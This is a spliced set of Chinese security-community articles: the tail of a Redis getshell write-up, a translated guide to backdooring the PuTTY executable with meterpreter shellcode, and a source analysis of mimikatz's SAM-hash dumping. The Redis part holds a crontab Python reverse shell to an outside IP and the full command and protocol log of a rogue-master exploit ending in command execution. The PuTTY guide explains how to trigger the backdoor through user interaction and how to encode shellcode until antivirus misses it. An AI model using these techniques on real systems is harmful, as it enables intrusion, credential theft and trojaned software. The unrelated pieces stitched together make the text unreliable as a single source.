而这种方式是通过写文件来完成GetShell的，这种方式的主要问题在于，redis保存的数据并不是简单的json或者是csv，所以写入的文件都会有大量的无用数据，形似
[padding]
* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'
[padding]
这种主要利用了crontab、ssh
key、webshell这样的文件都有一定容错性，再加上crontab和ssh服务可以说是服务器的标准的服务，所以在以前，这种通过写入文件的getshell方式基本就可以说是很通杀了。
但随着现代的服务部署方式的不断发展，组件化成了不可逃避的大趋势，docker就是这股风潮下的产物之一，而在这种部署模式下，一个单一的容器中不会有除redis以外的任何服务存在，包括ssh和crontab，再加上权限的严格控制，只靠写文件就很难再getshell了，在这种情况下，我们就需要其他的利用手段了。
# 通过主从复制 GetShell
在介绍这种利用方式之前，首先我们需要介绍一下什么是主从复制和redis的模块。
## Redis主从复制
Redis是一个使用ANSI
C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中，当读写体量比较大的时候，服务端就很难承受。为了应对这种情况，Redis就提供了主从模式，主从模式就是指使用一个redis实例作为主机，其他实例都作为备份机，其中主机和从机数据相同，而从机只负责读，主机只负责写，通过读写分离可以大幅度减轻流量的压力，算是一种通过牺牲空间来换取效率的缓解方式。
这里我们开两台docker来做测试
ubuntu@VM-1-7-ubuntu:~/lorexxar$ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
3fdb2479af9c redis:5.0 "docker-entrypoint.s…" 22 hours ago Up 4 seconds 0.0.0.0:6380->6379/tcp epic_khorana
3e313c7498c2 redis:5.0 "docker-entrypoint.s…" 23 hours ago Up 23 hours 0.0.0.0:6379->6379/tcp vibrant_hodgkin
然后通过slaveof可以设置主从状态
这样一来数据就会自动同步了
## Redis模块
在了解了主从同步之后，我们还需要对redis的模块有所了解。
在Reids 4.x之后，Redis新增了模块功能，通过外部拓展，可以实现在redis中实现一个新的Redis命令，通过写c语言并编译出.so文件。
编写恶意so文件的代码
<https://github.com/RicterZ/RedisModules-ExecuteCommand>
## 利用原理
Pavel Toporkov在2018年的zeronights会议上，分享了关于这个漏洞的详细原理。
<https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf>
在ppt中提到，在两个Redis实例设置主从模式的时候，Redis的主机实例可以通过FULLRESYNC同步文件到从机上。
然后在从机上加载so文件，我们就可以执行拓展的新命令了。
## 复现过程
这里我们选择使用模拟的恶意服务端来作为主机，并模拟fullresync请求。
<https://github.com/LoRexxar/redis-rogue-server>
然后启用redis 5.0的docker
ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
3e313c7498c2 redis:5.0 "docker-entrypoint.s…" 25 hours ago Up 25 hours 0.0.0.0:6379->6379/tcp vibrant_hodgkin
为了能够更清晰的看到效果，这里我们把从服务端执行完成后删除的部分暂时注释掉。
然后直接通过脚本来攻击服务端
ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ python3 redis-rogue-server_5.py --rhost 172.17.0.3 --rport 6379 --lhost 172.17.0.1 --lport 6381
TARGET 172.17.0.3:6379
SERVER 172.17.0.1:6381
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$10\r\n172.17.0.1\r\n$4\r\n6381\r\n'
[->] b'+OK\r\n'
[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
[->] b'+OK\r\n'
[->] b'*1\r\n$4\r\nPING\r\n'
[<-] b'+PONG\r\n'
[->] b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'
[<-] b'+OK\r\n'
[->] b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'
[<-] b'+OK\r\n'
[->] b'*3\r\n$5\r\nPSYNC\r\n$40\r\n17772cb6827fd13b0cbcbb0332a2310f6e23207d\r\n$1\r\n1\r\n'
[<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$42688\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\x9f\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'
[<-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
[->] b'+OK\r\n'
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
[->] b'+OK\r\n'
然后我们链接上去就可以执行命令
ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ redis-cli -h 172.17.0.3
172.17.0.3:6379> system.exec "id"
"\x89uid=999(redis) gid=999(redis) groups=999(redis)\n"
172.17.0.3:6379> system.exec "whoami"
"\bredis\n"
* * * | 社区文章 |
# 【技术分享】反侦测的艺术part2：精心打造PE后门（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：pentest.blog
原文地址：<https://pentest.blog/art-of-anti-detection-2-pe-backdoor-manufacturing/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **shan66**](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：260RMB**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:linwei@360.cn) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**
**
**传送门**
* * *
[**【技术分享】反侦测的艺术part1：介绍AV和检测的技术**
****](http://bobao.360.cn/learning/detail/3420.html)
[**【技术分享】反侦测的艺术part3：shellcode炼金术**
****](http://bobao.360.cn/learning/detail/3589.html)
本文将为读者详细介绍渗透测试人员将后门植入PE（便携式可执行文件）文件中的几种方法。要想完全掌握本文的内容，读者至少需要熟悉x86汇编知识，并精通调试器，同时还需要对PE文件格式有着全面的了解。
**引言**
现在，几乎所有的安全研究人员、渗透测试人员和恶意软件分析师每天都要跟各种后门打交道：将后门植入系统或某种流行的程序中，以便日后继续访问系统。
本文的大部分内容都是关于将后门植入32位PE文件的方法，但由于PE文件格式是Unix
COFF（通用对象文件格式）的修改版本，所以这些方法背后的逻辑，同样适用于所有其他可执行二进制文件类型。
此外，植入的后门的隐秘性，对于其存活时间来说尤其重要，所以本文将介绍各种方法，尽量设法绕过各种安全检测。
**相关术语**
**红队渗透测试：**
在与黑客攻击有关的语境中，所谓红队指的是一群白帽黑客，他们以攻击者的姿态来攻击组织的数字基础设施，以测试组织的防御措施的有效性（通常称为“渗透测试”）。包括微软在内的许多公司，都会定期进行类似的安全拉练，其中红队和蓝伍都会参与其中。这样做的好处是，可以挑战人们的先入之见，找出安全隐患，从而弄清楚敏感信息的泄露途径、漏洞的具体利用方式以及具体存在哪些安全偏见等。
**地址空间布局随机化（ASLR）：**
这是一种防止缓冲区溢出攻击的计算机安全技术。为了防止攻击者可靠地跳转到内存中的特定的被利用函数中，ASLR会对进程的关键数据区域的地址空间位置进行随机布置，其中包括可执行文件的基址以及堆、栈和程序库的地址等。
**代码洞：**
代码洞是一段代码，它将由另一个程序写入到其他进程的内存中。这段代码可以通过在目标进程内创建远程线程来执行。一般情况下，代码的代码洞是指代码中可注入自定义指令的脚本部分。例如，如果脚本的内存能够容下5个字节，但是只使用了3个字节，那么剩余的2个字节可用于添加来自该脚本之外的代码。这就是所谓的代码洞。
**校验和：**
在数据存储和数据通信领域中，用于校验目的的一组数据项的和，虽然校验和本身比较小巧，但是可用来检测数据在传输或存储期间是否出错。它通常用来检测从下载服务器下载的安装文件的完整性。就校验和来说，它通常用于独立验证数据的完整性，而无需依赖于验证数据的真实性。
**主要方法**
本文中的所有实现和示例都是针对putty
SSH客户端可执行文件的。选择putty来练习后门的制作有多个原因，其中之一是putty客户端是一个本地C++项目，它用到了多个库以及Windows
API，另一个原因是给ssh客户端植入后门不太引人耳目，因为该程序早就建立了tcp连接，所以更容易躲避蓝队的网络监控，这里使用的后门代码是来自metasploit项目中Stephen
Fever的reverse tcp meterpreter shellcode。主要目标是将meterpreter
shellcode注入到目标PE文件，同时还不能破坏该程序的实际功能。注入的shellcode将在一个新的线程上执行，并会不断尝试连接到处理程序。与此同时，另一个目标是尽量不要被检测到。
在PE文件中植入后门的常见方法，通常都包括4个主要步骤：
1）找到可以存放后门代码的地方
2）劫持执行流程
3）注入后门代码
4）恢复执行流程
当然，在每个步骤中还有许多小细节，而这些细节才是保持植入后门的一致性、耐用性和隐蔽性的关键所在。
**可用空间问题**
我们的第一步工作是找到可用的内存空间。如何在PE文件中选择合适的空间来插入后门代码是一件非常重要的事情，这个空间的选择直接影响后门的隐蔽性。
要想解决这个问题，主要有两种方法：
**1）添加新空间**
与其他方法相比，这种方法的隐蔽性要差一些，但是它的好处在于，由于附加了一个新的空间，所以对于后门代码的大小没有太多限制。
借助于反汇编程序或PE编辑器，如LordPE，我们可以通过添加一个新的节头来扩展PE文件，这里是putty可执行文件的节表，在PE编辑器的帮助下，添加了了一个新节“NewSec”，其大小为1000字节，
在创建一个新的节时，需要将节标志设置为“Read/Write/Execute”，只有这样，当PE映像映射到内存后，才能正常运行后门的shellcode。
在添加节头之后，我们还需要调整文件得大小，不过这也不是什么难事，只要根据节的大小，使用十六进制编辑器在文件末尾添加相应长度的空字节即可。
在完成上述操作之后，新的空节就会成功地添加到该文件中了。我们建议在添加新节之后运行该文件，如果一切正常的话，就可以通过调试器来修改这个新节了。
通过为可执行文件添加一个新的代码节，虽然可以解决空间问题，但是在反侦查方面几乎没有任何优势可言，因为几乎所有的AV产品都能检测到不常用的代码节，尤其是这里还给它提供了（Read/Write/Execute），那肯定是非常可疑的。
即使向putty可执行文件添加的代码节是空的，并且不赋予任何权限，也照样会被某些AV产品标记为恶意代码。
**2）代码洞**
解决空间问题的第二种方法是利用目标可执行文件中的代码洞。 几乎所有已编译的二进制文件都有代码洞，而这些正好可以用于存放我们的后门。
相对于添加新的代码节来说，使用代码洞不太容易引起AV产品的注意，因为使用的都是已经存在的公共代码部分。
此外，PE文件的总体大小，即使在植入后门后也不会改变，但是，该方法也有几个小缺点。
代码洞的数量和大小会随着文件的不同而不同，但是通常来说，这与添加新节相比，可用空间的限制就会非常大。 当使用代码洞时，后门代码应尽可能小巧。
另一个缺点是节标志。
因为应用程序的执行将被重定向到代码洞所在地址，所以含有代码洞的代码节必须具有“execute”权限，除此之外，有一些shellcode（以自修改的方式编码或混淆）甚至还要求提供“write”权限，以便对代码节内的内容进行修改。
使用多个代码洞将有助于克服空间限制问题，也将后门代码分割为不同部分，按理说能够提高它的隐蔽性，但遗憾是的，修改代码节的权限将会带来更大的嫌疑。能够在运行时修改内存权限从而避免直接更改节权限的高级方法非常少，因为这些方法需要定制的shellcode、编码和IAT解析技术，对于这些内容，我们将会在后面的文章中专门加以介绍。
借助于一个名为Cminer的工具，我们可以轻松地找出二进制文件中所有的代码洞。例如，通过命令./Cminer putty.exe
300，我们可以找出putty.exe中所有长度大于300字节的代码洞
就本例来说，有5个不错的代码洞可以使用。起始地址给出了代码洞的虚拟内存地址（VMA），即当PE文件加载到内存中后，代码洞的地址，文件偏移量是代码洞在PE文件内的相对位置，这里以字节为单位。
大部分洞穴大都位于数据节内，但是，由于数据节没有execute权限，所以需要修改相应的节标志。我们的后门代码大小在400-500字节左右，所以这里的代码洞应该够用了。所选择的代码洞的起始地址应该保存好，在将节权限改为R/W/E之后，植入后门的第一步工作就算完成了。接下来，我们开始处理执行流程的重定向问题。
**劫持执行流程**
在这一步中，目标是将执行流重定向到后门代码，为此需要修改目标可执行文件的相关指令。在选择修改哪一个指令方面，有一些细节需要引起我们的高度注意。所有二进制指令具有一定的大小（以字节为单位），为了跳转到后门代码的地址上面，必须使用5或6字节的长跳转指令。因此，在给二进制代码打补丁时，被修改的指令的长度需要跟长跳转指令的长度保持一致，否则它的上一条或下一条指令就会被破坏。
在进行重定向的时候，选择适当的内存空间对于绕过AV产品的动态和沙箱分析机制是非常重要的。如果直接进行重定向，则可能在AV软件的动态分析阶段被检测到。
**隐藏在用户交互下：**
为了绕过沙箱/动态分析阶段的检测，首先想到的自然是延迟shellcode的执行或设计能够检测沙箱的shellcode和触发机制。但是在制作后门时，通常没有这么多的空间，供我们在PE文件中添加这些额外的代码。此外，还可以利用汇编语言设计防检测机制，但是这需要大量的时间和丰富的知识。
该方法使用的函数，需要用户的介入才能得到执行，具体来说，这个函数对应于程序的特定功能，只有当实际的用户运行该程序并且执行了特定的操作时，才会执行这个函数，引发执行流程的重定向，从而激活后门代码。如果此方法可以正确实施，它将具有％100成功率，并且不会增加后门代码的大小。
当用户点击putty用户界面上的“Open”按钮时，将会启动一个相应的函数，来检查给定IP地址的有效性，
如果ip地址字段中的值不为空并且有效，就会执行一个函数来连接给定ip地址。
如果客户端成功创建了一个ssh会话，就会弹出一个新的窗口，并要求输入登陆凭证，
这就是发生重定向的地方，因为没有那款AV产品高级到检测这么复杂的用法，所以，以这种方式植入的后门，自然就不必担心受到自动沙箱和动态分析的检测了。
使用基本的逆向工程方法，如跟踪字符串及其引用，很容易就能找到连接函数的地址。客户端与给定的ip建立连接后，会将字符串“login
as：”打印到窗口中。这个字符串将帮助我们找到连接函数的地址，因为IDA Pro在跟踪字符串引用方面非常优秀。
在IDA中依次选择Views->Open Subviews->Strings菜单项，来寻找字符串“login as:”
找到该字符串后双击，就会来到它在代码中的位置，由于IDA能够找出数据节内该字符串的所有交叉引用，我们只需按“Ctrl +
X”就能显示所有交叉引用，这个引用位于打印“login as：”字符串的函数中，
这就是我们要修改的那个指令，在进行任何更改之前，先保存下来。因为在执行后门代码之后，我们还会用到它。
将PUSH 467C7C指令更改为JMP
0x47A478之后，后门制作的重新定向阶段便告一段落了。需要注意的是，要记住下一个指令的地址。在执行后门代码后，它将用作返回地址。接下来，我们要做的是注入后门代码。
**注入后门代码**
在注入后门代码时，首先需要想到的是在执行后门代码之前保存寄存器。所有寄存器中的每个值对于程序的执行而言都是非常重要的。所以，需要在代码洞的开头部分放入相应的PUSHAD和PUSHFD指令，将所有寄存器和寄存器标志都保存到堆栈中。这些值将在执行后门代码之后弹出，以便程序可以继续执行而不会出现任何问题。
如前所述，我们这里使用的后门代码来自metasploit项目的meterpreter reverse tcp
shellcode。但是，这里需要对这个shellcode稍作修改。通常，反向tcp
shellcode连接处理程序的尝试次数是有限制的，如果连接失败，则通过调用ExitProcess API来关闭该进程。
这里的问题是，如果连接处理程序失败，putty客户端将会停止，现在，我们只要修改几行shellcode的汇编代码，就可以让它每次连接失败后，重新尝试连接处理程序，同时，还让shellcode的尺寸也变小了。
对汇编代码进行必要的更改后，使用nasm -f bin stager_reverse_tcp_nx.asm命令进行编译。现在反向tcp
shellcode已经可以使用了，但不会直接植入。我们的目标是在新线程上执行shellcode。为了创建一个新的线程实例，需要让另一个shellcode调用指向反向tcp
shellcode的CreateThread API。在Metasploit项目中，也有一个用于创建线程得shellcode，它是由Stephen
Fever编写的。
在将十六进制的shellcode字节码放入createthread.asm文件之后，就可以使用nasm -f bin
createthread.asm命令进行汇编。这样，该shellcode就可以插入到代码洞了，但在插入该shellcode之前，应该对其进行加壳，以便绕过AV产品的静态/特征分析检测。因为metasploit项目中的所有加壳软件对大多数AV产品来说都熟悉不过了，所以强烈建议使用自定义的加壳软件。本文不会介绍如何制作shellcode的自定义加壳软件，因为将来会单独写一篇文章进行详细的介绍，但是如果组合使用多个metasploit加壳软件的话，也是可行的。在每次加壳之后，以原始格式将编码的shellcode上传到相应的在线查毒网站，看看免杀效果如何。尝试每种组合，直到它无法被检测到为止；如果您有耐心，那么等待下一篇文章也行。
对shellcode成功加壳之后，就可以把它插入代码洞了。请选中PUSHFD下面的指令，然后在immunity debugger中按Ctrl +
E组合键，这样shellcode将以十六进制格式粘贴到这里。
使用xxd -ps
createthread命令，以十六进制格式打印输出创建线程的shellcode，或使用十六进制编辑器打开shellcode并复制相应的十六进制值。在将十六进制值粘贴到调试器时，请注意字节限制，因为这些修改都是在immunity
debugger中进行的，而对于immunity
debugger来说，向编辑代码窗口中粘贴代码时，是有字节限制的。所以，我们可以每次粘贴一部分，按下OK按钮后，继续粘贴后续字节，当所有shellcode全部粘贴到代码洞之后，插入后门代码的流程便大功告成了。
**恢复执行流程**
在创建后门代码线程之后，需要恢复程序的正常执行，这意味着EIP应该跳回到将执行权限重定向至代码洞的那个函数。但是在跳回到该函数之前，应该首先将寄存器的值恢复到之前的状态。
通过在shellcode的末尾放入相应的POPFD和POPAD指令，就可以将此前保存的寄存器的值以相同的顺序从堆栈中弹出。在恢复寄存器之后，先别忙着跳回，因为还有一件重要的事情需要处理，即我们要执行的是被劫持的指令，但是为了将程序的执行重定向到代码洞，PUSH
467C7C指令已经被替换为JMP 0x47A478了。现在，可以把这个PUSH
467C7C指令放到最后面，就能恢复被劫持的指令了。接下来，我们就可以跳回到通过插入JMP
0x41CB73指令将执行重定向到代码洞的那个函数了，代码如下所示。
最后，选中相应的指令，单击右键，通过相应的选项将它们复制到可执行文件。对于这个操作，我们应该对所有被修改的指令都执行一遍。当所有指令被复制并保存到文件后，关闭调试器，然后测试可执行文件，如果可执行文件运行正常的话，那就说明后门可以使用了。
最后，建议处理好最终文件的校验和，以免引起怀疑，这也能够降低被检测出来的风险。
**
**
**小结**
最后，在按照上述方法正确处理之后，我们的后门就可以完全隐身了。
**演示视频**
现在，您可以通过下列视频来观看我们安装后门后的putty的表现了：
**参考资料**
<http://NoDistribute.com/result/image/Ye0pnGHXiWvSVErkLfTblmAUQ.png>
<https://en.wikipedia.org/wiki/Red_team>
<https://en.wikipedia.org/wiki/Address_space_layout_randomization>
<https://en.wikipedia.org/wiki/Code_cave>
<https://en.wikipedia.org/wiki/Checksum>
****
**传送门**
* * *
[**【技术分享】反侦测的艺术part1：介绍AV和检测的技术**
****](http://bobao.360.cn/learning/detail/3420.html)
[**【技术分享】反侦测的艺术part3：shellcode炼金术**
****](http://bobao.360.cn/learning/detail/3589.html)
[********](http://bobao.360.cn/learning/detail/3420.html) | 社区文章 |
# mimikatz源码分析-lsadump模块（注册表）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
>
> mimikatz是内网渗透中的一大利器，本文是分析学习mimikatz源码的第二篇，主要讨论学习lsadump模块的sam部分，即从注册表获取用户哈希的部分
## Windows注册表hive格式分析
mimikatz的这个功能从本质上是解析Windows的数据库文件，从而获取其中存储的用户哈希。所以这里先简要对Windows注册表hive文件做简要说明，详细点的介绍可参见[Windows注册表HIVE文件格式解析](https://blog.csdn.net/zacklin/article/details/7682582)和[简单认识下注册表的HIVE文件格式](https://bbs.pediy.com/thread-64000.htm)两篇文章。
总的来说，hive文件的内容结构有点PE文件的意味，有“文件头”和各个“节区”、“节区头”。当然这里的“文件头”被叫做`HBASE_BLOCK`，“节区头”和“节区”分别叫做`BIN`和`CELL`也即“巢箱”和“巢室”。整个hive文件被叫做“储巢”，特点是以`HBASE_BLOCK`开头，用来记录hive文件的各种信息。
画了个图，看上去可能会直观点：
关于各个部分的结构体定义可参考010Editor提供的模板脚本，不过笔者使用模板代码时并不能正确解析hive文件，所以后文涉及键值查询时以mimikatz中的定义的结构体为准。
### `HBASE_BLOCK`
010Editor分析后对应结构的描述如下图：
每个字段的含义可以根据对应的名称得知，需要关注的是块的签名：`regf`。
### `HBIN`
010Editor分析后对应结构的描述如下图：
前面说到，这个结构相当于PE文件的节区头，它包含了“节区”的大小，偏移等信息，这里同样需要关注`HbinSignature`即签名，对于巢箱来讲，它的签名是`hbin`，有了这个签名，就可以定位到巢箱的位置保证后续能够正常查询到键值。不同类型的数据如键、值、安全描述符等分门别类的存放在各个类型的巢室中。
## mimikatz解析流程
在提供sam文件和system文件的情況下，解析的大体流程如下：
0x1 **获取注册表system的“句柄”**
0x2 **读取计算机名和解密密钥**
0x3 **获取注册表sam的“句柄”**
0x4 **读取用户名和用户哈希**
> 未提供sam文件和system文件的情況下，mimikatz会使用官方的api直接读取当前机器中的注册表
这里先对mimikatz中创建的几个结构体做简要说明，再继续对整个流程的分析。首先是`PKULL_M_REGISTRY_HANDLE`，这个结构体主要是用于标识操作的注册表对象以及注册表的内容，它由两个成员构成，即：
typedef struct _KULL_M_REGISTRY_HANDLE {
KULL_M_REGISTRY_TYPE type;
union {
PKULL_M_REGISTRY_HIVE_HANDLE pHandleHive;
};
} KULL_M_REGISTRY_HANDLE, *PKULL_M_REGISTRY_HANDLE;
其中，`type`用于标识是对注册表hive文件操作，还是通过API直接读取当前机器中的注册表项，这里不再对其进一步说明。对于第二个成员`pHandleHive`就涉及到第二结构体了，先看它的定义：
typedef struct _KULL_M_REGISTRY_HIVE_HANDLE
{
HANDLE hFileMapping;
LPVOID pMapViewOfFile;
PBYTE pStartOf;
PKULL_M_REGISTRY_HIVE_KEY_NAMED pRootNamedKey;
} KULL_M_REGISTRY_HIVE_HANDLE, *PKULL_M_REGISTRY_HIVE_HANDLE;
这个结构体实际上就是前面所说的注册表文件的“句柄”，由4个成员组成：
1、 `hFileMapping`：文件映射的句柄
2、 `pMapViewOfFile`：指向文件映射映射到调用进程地址空间的位置，用来访问映射文件内容
3、 `pStartOf`：指向注册表hive文件的第一个巢箱
4、 `pRootNamedKey`：指向一个键巢室，用于查找子键和子键值
对于键巢室，mimikatz中定义的结构体如下：
typedef struct _KULL_M_REGISTRY_HIVE_KEY_NAMED
{
LONG szCell;
WORD tag;
WORD flags;
FILETIME lastModification;
DWORD unk0;
LONG offsetParentKey;
DWORD nbSubKeys;
DWORD nbVolatileSubKeys;
LONG offsetSubKeys;
LONG offsetVolatileSubkeys;
DWORD nbValues;
LONG offsetValues;
LONG offsetSecurityKey;
LONG offsetClassName;
DWORD szMaxSubKeyName;
DWORD szMaxSubKeyClassName;
DWORD szMaxValueName;
DWORD szMaxValueData;
DWORD unk1;
WORD szKeyName;
WORD szClassName;
BYTE keyName[ANYSIZE_ARRAY];
} KULL_M_REGISTRY_HIVE_KEY_NAMED, *PKULL_M_REGISTRY_HIVE_KEY_NAMED;
这里和010Editor给出的结果大体上一致，关于两者的差异以及孰对孰错以笔者目前的水平还不足以甄别，不过这并不影响对mimikatz解析注册表这部分代码的分析学习。实际上只是用到了其中的几个成员，如tag(签名)、flags、nbSubKeys、offsetSubkeys等，而对于这些成员，从命名上可以判断二者所代表的含义应该是相似的。
### 获取注册表“句柄”
对于sam文件和system文件，这一步所作的操作都一样，即将文件映射到内存。这里主要涉及到两个Windows API：
1、`CreateFileMapping`，MSDN解释为指定文件创建或打开一个命名或未命名的文件映射对象，函数原型如下：
HANDLE CreateFileMappingA(
[in] HANDLE hFile,
[in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
[in] DWORD flProtect,
[in] DWORD dwMaximumSizeHigh,
[in] DWORD dwMaximumSizeLow,
[in, optional] LPCSTR lpName
);
这里主要关注两个参数，一是`hFile`即文件句柄，可以由`CreateFile`获得；二是`flProtect`，用于标识权限如`PAGE_READWRITE`
2、`MapViewOfFile`，MSDN解释为将文件映射映射到调用进程的地址空间，函数原型如下：
LPVOID MapViewOfFile(
[in] HANDLE hFileMappingObject,
[in] DWORD dwDesiredAccess,
[in] DWORD dwFileOffsetHigh,
[in] DWORD dwFileOffsetLow,
[in] SIZE_T dwNumberOfBytesToMap
);
同样的，这里关注两个参数，一是`hFileMappingObject`，顾名思义，文件映射的句柄；二是`dwDesiredAccess`，映射对象的访问权限，同`CreateFileMapping`的参数`flProtect`。
通过这种方式可以方便的处理大文件，因为创建一个大的文件映射时不会占用任何系统资源，只有在调用如`MapViewOfFile`来访问文件内容时才消耗系统资源，而对于`MapViewOfFile`而言，完全可以一次只映射文件数据的一小部分，然后在取消当前映射后再重新映射新的内容。这样一来，即便是处理超大文件，也不会导致进程本身占用内存过多。
回到正题，在mimikatz的源码中，创建注册表hive文件的映射目的还是为了读取文件内容，首先通过`regf`定位到hive文件的头，随后通过偏移定位到第一个bin，然后保存相关的信息：
if((pFh->tag == 'fger') && (pFh->fileType == 0))
{
pBh = (PKULL_M_REGISTRY_HIVE_BIN_HEADER) ((PBYTE) pFh + sizeof(KULL_M_REGISTRY_HIVE_HEADER));
if(pBh->tag == 'nibh')
{
(*hRegistry)->pHandleHive->pStartOf = (PBYTE) pBh;
(*hRegistry)->pHandleHive->pRootNamedKey = (PKULL_M_REGISTRY_HIVE_KEY_NAMED) ((PBYTE) pBh + sizeof(KULL_M_REGISTRY_HIVE_BIN_HEADER) + pBh->offsetHiveBin);
status = (((*hRegistry)->pHandleHive->pRootNamedKey->tag == 'kn') && ((*hRegistry)->pHandleHive->pRootNamedKey->flags & (KULL_M_REGISTRY_HIVE_KEY_NAMED_FLAG_ROOT | KULL_M_REGISTRY_HIVE_KEY_NAMED_FLAG_LOCKED)));
}
}
这里需要注意的点是第一个巢室即`pRootNameKey`需要对应为键巢室，否则“句柄”打开失败。
### 获取计算机名和解密密钥
获取句柄之后的操作对于`system`这个hive文件来讲，就是获取密钥了，密钥长度为16。这里的密钥位于`HKLM\SYSTEM\ControlSet000\Current\Control\LSA`，由四个不同的键的键值按固定顺序组合得到。
首先查找键值，比如`JD`对应的值为`b8 18 7d 0b`，这一项在文件中对应的值如下图：
通过`swscanf_s`将宽字符转换为四个字节的密钥，查询完四个键之后即得到最后16个字节的密钥数据：
const wchar_t * kuhl_m_lsadump_SYSKEY_NAMES[] = {L"JD", L"Skew1", L"GBG", L"Data"};
...
for(i = 0 ; (i < ARRAYSIZE(kuhl_m_lsadump_SYSKEY_NAMES)) && status; i++)
{
status = FALSE;
if(kull_m_registry_RegOpenKeyEx(hRegistry, , kuhl_m_lsadump_SYSKEY_NAMES[i], 0, KEY_READ, &hKey))
{
szBuffer = 8 + 1;
if(kull_m_registry_RegQueryInfoKey(hRegistry, hKey, buffer, &szBuffer, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL))
status = swscanf_s(buffer, L"%x", (DWORD *) &buffKey[i*sizeof(DWORD)]) != -1;
kull_m_registry_RegCloseKey(hRegistry, hKey);
}
else PRINT_ERROR(L"LSA Key Class read error\n");
}
得到16个字节的密钥数据之后按照固定的顺序组装即得到最终的密钥：
const BYTE kuhl_m_lsadump_SYSKEY_PERMUT[] = {11, 6, 7, 1, 8, 10, 14, 0, 3, 5, 2, 15, 13, 9, 12, 4};
...
for(i = 0; i < SYSKEY_LENGTH; i++)
sysKey[i] = buffKey[kuhl_m_lsadump_SYSKEY_PERMUT[i]];
这里可能只需要看看两个函数的实现：
1、 `kull_m_registry_RegOpenKeyEx`，打开一个注册表键
这个函数的函数体由两个分支构成，一是通过`RegOpenKeyEx`这个API直接打开一个注册表键；二是递归查找提供的hive文件，定位到对应的子键列表巢室（hl）。所以，换句话说，打开一个注册表键，这里实际上是定位到想要获取的巢室：
pHbC = (PKULL_M_REGISTRY_HIVE_BIN_CELL) (hRegistry->pHandleHive->pStartOf + pKn->offsetSubKeys);
if(ptrF = wcschr(lpSubKey, L'\\'))
{
if(buffer = (wchar_t *) LocalAlloc(LPTR, (ptrF - lpSubKey + 1) * sizeof(wchar_t)))
{
RtlCopyMemory(buffer, lpSubKey, (ptrF - lpSubKey) * sizeof(wchar_t));
if(*phkResult = (HKEY) kull_m_registry_searchKeyNamedInList(hRegistry, pHbC, buffer))
kull_m_registry_RegOpenKeyEx(hRegistry, *phkResult, ptrF + 1, ulOptions, samDesired, phkResult);
LocalFree(buffer);
}
}
else *phkResult = (HKEY) kull_m_registry_searchKeyNamedInList(hRegistry, pHbC, lpSubKey);
首先通过键巢室的`offsetSubKeys`成员获取子键列表距离巢箱的偏移，随后调用`kull_m_registry_searchKeyNamedInList`定位到要查找的巢室。当然，这里有两种情况，一是要查找的子键包含路径,形如`Control\LSA`；二是不包含路径如`Select`，这种情况也即是要获取的键和根键同级。关于`Select`，可以在`regedit`中看到：
在mimikatz的代码里面，获取计算机名以及密钥是先定位该子键的：
// kuhl_m_lsadump_getComputerAndSyskey
if(kuhl_m_lsadump_getCurrentControlSet(hRegistry, hSystemBase, &hCurrentControlSet))
{
kprintf(L"Domain : ");
if(kull_m_registry_OpenAndQueryWithAlloc(hRegistry, hCurrentControlSet, L"Control\\ComputerName\\ComputerName", L"ComputerName", NULL, &computerName, NULL))
{
kprintf(L"%s\n", computerName);
LocalFree(computerName);
}
kprintf(L"SysKey : ");
if(kull_m_registry_RegOpenKeyEx(hRegistry, hCurrentControlSet, L"Control\\LSA", 0, KEY_READ, &hComputerNameOrLSA))
...
// kuhl_m_lsadump_getCurrentControlSet
wchar_t currentControlSet[] = L"ControlSet000";
if(kull_m_registry_RegOpenKeyEx(hRegistry, hSystemBase, L"Select", 0, KEY_READ, &hSelect))
{
for(i = 0; !status && (i < ARRAYSIZE(kuhl_m_lsadump_CONTROLSET_SOURCES)); i++)
{
szNeeded = sizeof(DWORD);
